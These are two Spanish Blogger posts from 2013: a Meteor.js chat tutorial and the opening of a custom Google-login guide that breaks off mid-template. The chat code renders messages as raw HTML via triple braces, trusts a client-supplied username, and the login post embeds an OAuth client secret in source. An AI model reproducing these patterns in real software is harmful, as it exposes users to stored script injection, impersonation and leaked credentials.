<!-- Blogger automated replacement: "https://blogger.googleusercontent.com/img/proxy/AVvXsEjQ1kz232UEKmYy1ASPHnRMNshaxtqWy-cNaBbgifLhgeStRFueU3p90IsNGSQ-p4lgV8T6EyXDGFv3PS4DnHTynrV6y6bIoiVeLxRHyuJOilEv7JmsKS85D6ZBZT8Mg2QS6hxufyQMBWIuoNRMA6I2OTzNde2y1A=" with "https://blogger.googleusercontent.com/img/proxy/AVvXsEjQ1kz232UEKmYy1ASPHnRMNshaxtqWy-cNaBbgifLhgeStRFueU3p90IsNGSQ-p4lgV8T6EyXDGFv3PS4DnHTynrV6y6bIoiVeLxRHyuJOilEv7JmsKS85D6ZBZT8Mg2QS6hxufyQMBWIuoNRMA6I2OTzNde2y1A=" --><!-- Blogger automated replacement: "https://images-blogger-opensocial.googleusercontent.com/gadgets/proxy?url=http%3A%2F%2Fwww.packtpub.com%2Fsites%2Fdefault%2Ffiles%2F2247OS_cover.jpg&container=blogger&gadget=a&rewriteMime=image%2F*" with "https://blogger.googleusercontent.com/img/proxy/AVvXsEjQ1kz232UEKmYy1ASPHnRMNshaxtqWy-cNaBbgifLhgeStRFueU3p90IsNGSQ-p4lgV8T6EyXDGFv3PS4DnHTynrV6y6bIoiVeLxRHyuJOilEv7JmsKS85D6ZBZT8Mg2QS6hxufyQMBWIuoNRMA6I2OTzNde2y1A=" -->Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-83326137018152636892013-08-15T12:51:00.003-03:002013-08-15T12:51:38.788-03:00Un Chat con Meteor.js (sí, uno más!)Hola gente,<br />
<br />
vamos a desarrollar un chat utilizando <a href="http://www.meteor.com/">Meteor.js</a><br />
<br />
Soy consciente que existen varios ejemplos sobre esto en la web, éste es uno más.<br />
Me he propuesto realizar un chat minimalista que sirva como base para practicar.<br />
Lo sobresaliente de este ejemplo es el poco código que posee.<br />
<br />
<b>Iniciamos el proyecto:</b><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">mrt create magmchat</span><br />
<span style="font-family: Courier New, Courier, monospace;">cd magmchat</span><br />
<span style="font-family: Courier New, Courier, monospace;">rm magmchat.*</span><br />
<span style="font-family: Courier New, Courier, monospace;">mkdir client server public</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<b>Agregamos los paquetes que utilizaremos:</b><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">meteor add bootstrap<br />meteor add accounts-ui<br />meteor add accounts-base<br />meteor add accounts-password</span><div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span><div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<b>Esquema de la página:</b><span style="font-family: Courier New, Courier, monospace;"><br /></span><br />A continuación un esquema simple de como se verá la página, es buena práctica definir estos esquemas antes de comenzar a trabajar, luego se simplifica la tarea.<br /><br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCK1FmZYApgVi6J5vE5MJRxuB0GlmjepsyysC21uJWMKHiz8UEzPAqnmkh4ErHz758VNGDV7_yZ81v1HoCVrCgBvYTYfJsXcCbpX_jXgjoGhHrEIfYwrf2i5apOrSIVJyQbduM/s1600/esquema_magmchat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCK1FmZYApgVi6J5vE5MJRxuB0GlmjepsyysC21uJWMKHiz8UEzPAqnmkh4ErHz758VNGDV7_yZ81v1HoCVrCgBvYTYfJsXcCbpX_jXgjoGhHrEIfYwrf2i5apOrSIVJyQbduM/s400/esquema_magmchat.png" width="400" /></a></div>
<div>
<br /></div>
<div>
<br /><b>Implementación del esquema:</b></div>
</div>
<div>
<b><br /></b></div>
<div>
Archivo: <span style="font-family: Courier New, Courier, monospace;">client/magmchat.html</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
<head></head></div>
<div>
<body></div>
<div>
<div class="navbar navbar-static-top"></div>
<div>
<div class="navbar-inner"></div>
<div>
<a class="brand" href="http://blog.magm.com.ar" target="_blank">Magm's Chat</a></div>
<div>
<ul class="nav navbar-nav pull-right"></div>
<div>
<li><a href="#"><b>{{loginButtons align="right"}}</b></a></li></div>
<div>
</ul></div>
<div>
</div></div>
<div>
</div></div>
<div>
<b>{{> inicio}}</b></div>
<div>
</body></div>
<div>
<br /></div>
</span><div>
El código anterior define la barra de navegación y la posición de widget <span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>{{loginButtons}}</b></span>, al final se renderizará la plantilla <span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>{{> inicio}}</b></span>, en la cual se definirá el resto de la página.</div>
</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b><template name="inicio"></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{#if currentUser}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="row vspace"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="offset4 span4 text-center"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <textarea id="texto" rows="5"></textarea></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="span4"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> Instrucciones:</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <ul></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <li><span class="label label-success">Enter</span>=enviar texto</li></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <li><span class="label label-success">Ctrl+Enter</span>=nueva línea</li></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <li>Puede utilizar código html, por ejemplo: Hola &lt;b&gt;Meteor&lt;/b&gt;</li></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </ul></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> <hr/></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="row"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <div class="offset2 span8"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{> chatItems}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </div></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{/if}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b></template></b></span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b><br /></b></span></div>
<div>
<div>
El código anterior implementa la plantilla <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">inicio</b>, solo se generará contenido si hay un usuario autenticado, a eso lo determina <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">{{#if currentUser}}</b>. El contenido que se crea consta del área de texto con <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">id="texto"</span>, el texto de ayuda y finalmente en una nueva fila (en la parte de abajo) se renderiza la plantilla <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">{{> chatItems}}</b>.</div>
</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b><template name="chatItems"></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <ul></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{#each entradas}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <li class="itemchat"></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><b>{{nombre}}</b>: </b><b>{{{texto}}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </li></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b>{{/each}}</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> </ul></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b></template></b></span></div>
</div>
<br />Finalmente la plantilla <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">chatItems </b>en la cual se creará una lista con el contenido del chat. Esta plantilla contiene un bucle <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">each</b> que itera sobre la fuente de datos <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">entradas</b> de la cual hablaremos en breve. La fuente de datos contiene objetos que representan las entradas de chat, cada objeto posee la siguiente estructura:<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> nombre: 'usuario',</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> texto: 'texto de chat',</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> timestamp: estampaDeTiempoDeLaEntrada</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">}</span></div>
<div>
Puede observarse que se muestra el nombre en negrita <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><b></span><b style="font-family: 'Courier New', Courier, monospace; font-size: small;">{{nombre}}</b><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;">: </b></span> y luego el texto está rodeado por tres llaves <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">{{{texto}}}</b> esto hace que si lo que se mostrará contiene código html, el browser lo interprete como tal.</div>
</div>
<div>
<br /></div>
<div>
<b>Estilos personales:</b></div>
<div>
<b><br /></b></div>
<div>
Archivo: <span style="font-family: Courier New, Courier, monospace;">client/magmchat.css</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
textarea{ </div>
<div>
resize:none; </div>
<div>
width:100%;</div>
<div>
margin-bottom:10px; </div>
<div>
}</div>
<div>
<br /></div>
<div>
.vspace {</div>
<div>
margin-top:20px; </div>
<div>
}</div>
</span></div>
<div>
Se definen las propiedades del área de texto, lo más importante es que ocupa el 100% del espacio horizontal. Luego se crea una clase que impone un espacio de 20 pixeles al objeto al que se le asigne, en nuestro caso se utiliza para crear un separador entre la barra de opciones y el área de texto.</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">/* para que los items vayan apareciendo en fade */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">.itemchat{</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> list-style:none;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> margin:0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> padding:0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> animation: fadein 1s;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> -moz-animation: fadein 1s; /* Firefox */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> -webkit-animation: fadein 1s; /* Safari and Chrome */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> -o-animation: fadein 1s; /* Opera */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">@keyframes fadein {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> from {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:0;<span class="Apple-tab-span" style="white-space: pre;"> </span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> to {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">@-moz-keyframes fadein { /* Firefox */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> from {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> to {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">@-webkit-keyframes fadein { /* Safari and Chrome */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> from {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> to {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">@-o-keyframes fadein { /* Opera */</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> from {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity:0;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> to {</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> opacity: 1;</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> }</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}</span></div>
</div>
<div>
Finalmente se crea una clase que permite a los items de chat aparecer de forma gradual o fadein, la cantidad de texto es para dar soporte a varios navegadores, las reglas <span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> from {</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> opacity:0;</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> }</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> to {</span><span style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"> opacity:1; }</span> definen el grado de transparencia y de opacidad de inicio y fin, en la clase se define el tiempo, que en este caso es de 1 segundo.</div>
<div>
<br /></div>
<div>
<div>
<b>Definición de la Colección (la base de datos):</b></div>
<div>
<b><br /></b></div>
<div>
Archivo: <span style="font-family: Courier New, Courier, monospace;">/chat.js</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">chat = new Meteor.Collection("chat");</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
Con este simple código que es compartido por cliente y servidor ya que se encuentra en la carpeta raíz <span style="font-family: Courier New, Courier, monospace;">/</span>, creamos una colección que Meteor se encarga de persistir y que además informar los cambios a todos los clientes para que aquellas plantillas que la utilicen se actualicen automáticamente, esto es parte de la reactividad.</div>
<div>
<br /></div>
<div>
<b>El código del cliente:</b></div>
<div>
<b><br /></b></div>
<div>
Archivo: <span style="font-family: Courier New, Courier, monospace;">client/magmchat.js</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
Accounts.ui.config({</div>
<div>
passwordSignupFields: 'USERNAME_ONLY'</div>
<div>
}); </div>
<div>
<br /></div>
</span><div>
El código anterior configura el paquete <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">accounts</span> para que el sistema de login requiera como datos de cuenta un usuario y su contraseña, el almacenamiento y administración es local.</div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
<br /></div>
<div>
Template.<b>chatItems</b>.<b>entradas</b> = function () {</div>
<div>
return chat.find({}, {sort: {timestamp: -1}, limit: 10});</div>
<div>
};</div>
<div>
<br /></div>
</span><div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="font-family: 'Times New Roman'; font-size: small;">El código anterior define la fuente de datos </span><b>entradas</b> <span style="font-family: 'Times New Roman'; font-size: small;">que se itera en la plantilla </span><b>chatItems</b></span>. <span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="font-family: 'Times New Roman'; font-size: small;">Solo destacaré que se buscan todas las entradas sin filtro alguno y que se retornan ordenadas por estampa de tiempo descendente, solo se retornan las últimas 10 entradas</span></span><span style="font-family: 'Times New Roman'; font-size: small;">.</span></span></div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
<br /></div>
<div>
Template.inicio.events({</div>
<div>
"<b>keyup</b> <b>#texto</b>": function (evt, tpl) {</div>
<div>
if (<b>evt.ctrlKey && evt.keyCode == 13</b>) {</div>
<div>
$("#texto").val($("#texto").val()+"\n");</div>
<div>
} else if (<b>evt.keyCode == 13</b>) {</div>
<div>
var val=$("#texto").val();</div>
<div>
<div>
if (val.trim().length==0) {</div>
<div>
$("#texto").val("");</div>
<div>
return;</div>
<div>
}</div>
</div>
<div>
val = val.replace(/(\r\n|\n|\r)/gm,"<br/>");</div>
<div>
<b>Meteor.call('enviarTexto',Meteor.user().username,val,</b></div>
<div>
<b> function (error, result) { </b></div>
<div>
<b> if (error) {</b></div>
<div>
<b> console.log(error);</b></div>
<div>
<b> }</b></div>
<div>
<b> }</b></div>
<div>
<b> );</b></div>
<div>
$("#texto").val("");</div>
<div>
}</div>
<div>
}</div>
<div>
});</div>
<div>
<br /></div>
</span>Finalmente, la última porción de código, es la más extensa, pero no reviste complejidad. Se trata del único evento que se es observado, evento <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">keyup</span> de la caja de texto, si se presiona <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Ctrl+Enter</span>, se agrega un retorno de carro al texto<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> '\n'</span> y nada más. Si solo se presiona <span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Enter</span>, se obtiene el texto ingresado, si se ha ingresado un texto válido, se reemplazan los caracteres de retorno de carro por la marca html que lo representa <span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br/></span>, luego se llama a un método remoto llamado <b style="font-family: 'Courier New', Courier, monospace; font-size: small;">enviarTexto </b>que recibe como parámetros el nombre del usuario logueado (<b style="font-family: 'Courier New', Courier, monospace; font-size: small;">Meteor.user().username</b>) y el texto. A continuación analizamos la complementación del método remoto.</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<div>
<b>El código del server:</b></div>
<div>
<b><br /></b></div>
<div>
Archivo: <span style="font-family: Courier New, Courier, monospace;">server/metodos.js</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><div>
Meteor.startup(function () {</div>
<div>
Meteor.methods({</div>
<div>
enviarTexto: function (usuario, txt) {</div>
<div>
chat.insert({</div>
<div>
nombre: usuario,</div>
<div>
texto: txt,</div>
<div>
timestamp: new Date()</div>
<div>
});</div>
<div>
}</div>
<div>
})</div>
<div>
});</div>
<div>
<br /></div>
</span>Como puede observarse, el método es de lo más sencillo, solo inserta en la colección un nuevo objeto con los datos que recibe como parámetros y genera un valor para la estampa de tiempo, este es el motivo principal por el cual se implementa el método en el server, para que la estampa de tiempo sea coherente y no dependa de los valores de tiempo de cada cliente.</div>
<div>
<br /></div>
<div>
<b>Así es como ve:</b></div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJbzqq3BDR6k4zw5Zq5fTEdRtl-Sel8DeD-VFn4cEUIVGtvR_embeq4gEHvZXl5OFH6fQU6pjkAEsyeDBsOzTDNw_OyWTsXq9u0dEwry8x9ebF8jhvOD1q-Nc7XCjPYE5qd3N6/s1600/Selecci%C3%B3n_227.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJbzqq3BDR6k4zw5Zq5fTEdRtl-Sel8DeD-VFn4cEUIVGtvR_embeq4gEHvZXl5OFH6fQU6pjkAEsyeDBsOzTDNw_OyWTsXq9u0dEwry8x9ebF8jhvOD1q-Nc7XCjPYE5qd3N6/s640/Selecci%C3%B3n_227.png" width="640" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<b>Conclusión</b></div>
<div>
<br /></div>
<div>
Eso es todo, con poco código hemos creado un char totalmente funcional, el poder de Meteor para abstraernos de problemas de sincronización y comunicaciones en tiempo real es realmente impresionante.</div>
<div>
<br /></div>
<div>
Pueden descargarse el código fuente desde: <a href="https://github.com/magm3333/magmchat">https://github.com/magm3333/magmchat</a></div>
<div>
Pueden probarlo en funcionamiento en: <a href="http://magmchat.meteor.com/">magmchat.meteor.com</a></div>
<div>
<br /></div>
<div>
Espero les sea de utilidad</div>
<div>
<br /></div>
<div>
Mariano</div>
Anonymoushttp://www.blogger.com/profile/07443500083877011375noreply@blogger.com0tag:blogger.com,1999:blog-22972149.post-15529968005836379672013-06-21T15:10:00.000-03:002013-06-21T15:10:09.371-03:00Personalizar autenticación de Google para aplicaciones MeteorHola nuevamente,<br />
<br />
seguimos son la autenticación de Google en aplicaciones Meteor, esta vez lo que haremos será personalizar el inicio y cierre se sesión, en otras palabras, nosotros decidiremos cómo y cuando iniciar y cerrar sesión, por ende ya no nos hará falta el módulo <span style="font-family: Courier New, Courier, monospace;">accounts-ui</span><br />
<br />
<b>Creamos el proyecto y la infraestructura</b><br />
<br />
<div>
Crearemos el proyecto:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>meteor create loginConGoogleCustom</b> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">loginConGoogleCustom: created. To run your new app: </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> cd </span><span style="font-family: 'Courier New', Courier, monospace;">loginConGoogleCustom</span><span style="font-family: Courier New, Courier, monospace;"> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> meteor</span></div>
<br />
<div>
Eliminamos todos los archivos del proyecto:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>cd </b></span><b style="font-family: 'Courier New', Courier, monospace;">loginConGoogleCustom</b><span style="font-family: Courier New, Courier, monospace;"><b><br />rm *.js *.css *.html</b></span><br />
<br />
Creamos la estructura de directorios para componentes de nuestra aplicación:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>mkdir client </b></span><br />
<span style="font-family: Courier New, Courier, monospace;"><b>mkdir server</b></span></div>
<div>
<br />
Instalamos el módulo de contiene la lógica para trabajar con cuentas de google:<br />
<span style="font-family: Courier New, Courier, monospace;"><b>meteor add accounts-google</b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">accounts-google: Login service for Google accounts</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>Instalamos el módulo que contiene bootstrap: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>meteor add bootstrap</b><br />bootstrap: Front-end framework from Twitter </span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div>
Creamos los componentes del cliente: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>touch client/index.html </b></span><br />
<b style="font-family: 'Courier New', Courier, monospace;">touch client/index.js </b></div>
<div>
<br /></div>
<div>
Creamos los componentes del server: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>touch server/configuracion.js </b></span>(este archivo es idéntico que el que utilizamos <a href="http://jmagm.blogspot.com.ar/2013/06/usar-autenticacion-de-google-para.html">anteriormente</a>)</div>
<div>
<br /></div>
<div>
Iniciamos Meteor: </div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b>meteor </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><b><br /></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">[[[[[ ~/loginConGoogleCustom ]]]]] </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Initializing mongo database... this may take a moment. </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">=> Meteor server running on: http://localhost:3000/</span><br />
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<b>Creamos la configuración</b><span style="font-family: Courier New, Courier, monospace;"><br /></span>
<div>
Abrimos el archivo <span style="font-family: Courier New, Courier, monospace;">server/configuracion.js </span>y agregamos el siguiente código<i> (este código es idéntico al del post anterior, solo hay que cambiar el </i><span style="font-family: Courier New, Courier, monospace;">clientId</span><i> y el </i><span style="font-family: Courier New, Courier, monospace;">secret</span><i> según los datos de cada cuenta):</i></div>
<div>
<br />
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//Quitamos cualquier configuración para </b></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//cuentas de Google </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Accounts.loginServiceConfiguration.remove({ </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> service: "google" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">}); </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//Agregamos la configuración con los datos que obtubimos de Google </b></span></div>
<div>
<span style="color: #274e13; font-family: Courier New, Courier, monospace; font-size: x-small;"><b>//campo clientId <-- Client ID </b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><span style="color: #274e13;"><b>//campo secret <-- Client Secret</b></span> </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">Accounts.loginServiceConfiguration.insert({ </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> service: "google", </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> clientId: "<b>441624260670-5p0k5et2ns9pnlm8cgtp8bsdf.apps.googleusercontent.com</b>", secret: "<b>3LMwasdfIOXfPqGhyeH4asdf3h</b>" </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;">});</span></div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span>
<b>Creamos la vista (archivo <span style="font-family: Courier New, Courier, monospace;">client/index.html</span>)</b></div>
</div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><head></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <title>Login con Google</title></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></head></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><body></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <b><span style="color: blue;">{{> inicial}}</span></b></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></body></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><template <span style="color: blue;"><b>name="inicial"</b></span>></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{#if currentUser}}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #274e13;"><b>{{> usuarioAutenticado}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{else}}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> <span style="color: #cc0000;"><b>{{> usuarioNoAutenticado}}</b></span></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"> {{/if}}</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"></template></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><template <b><span style="color: #274e13;">name="usuarioAutenticado"</span></b>></span></div>
<div>
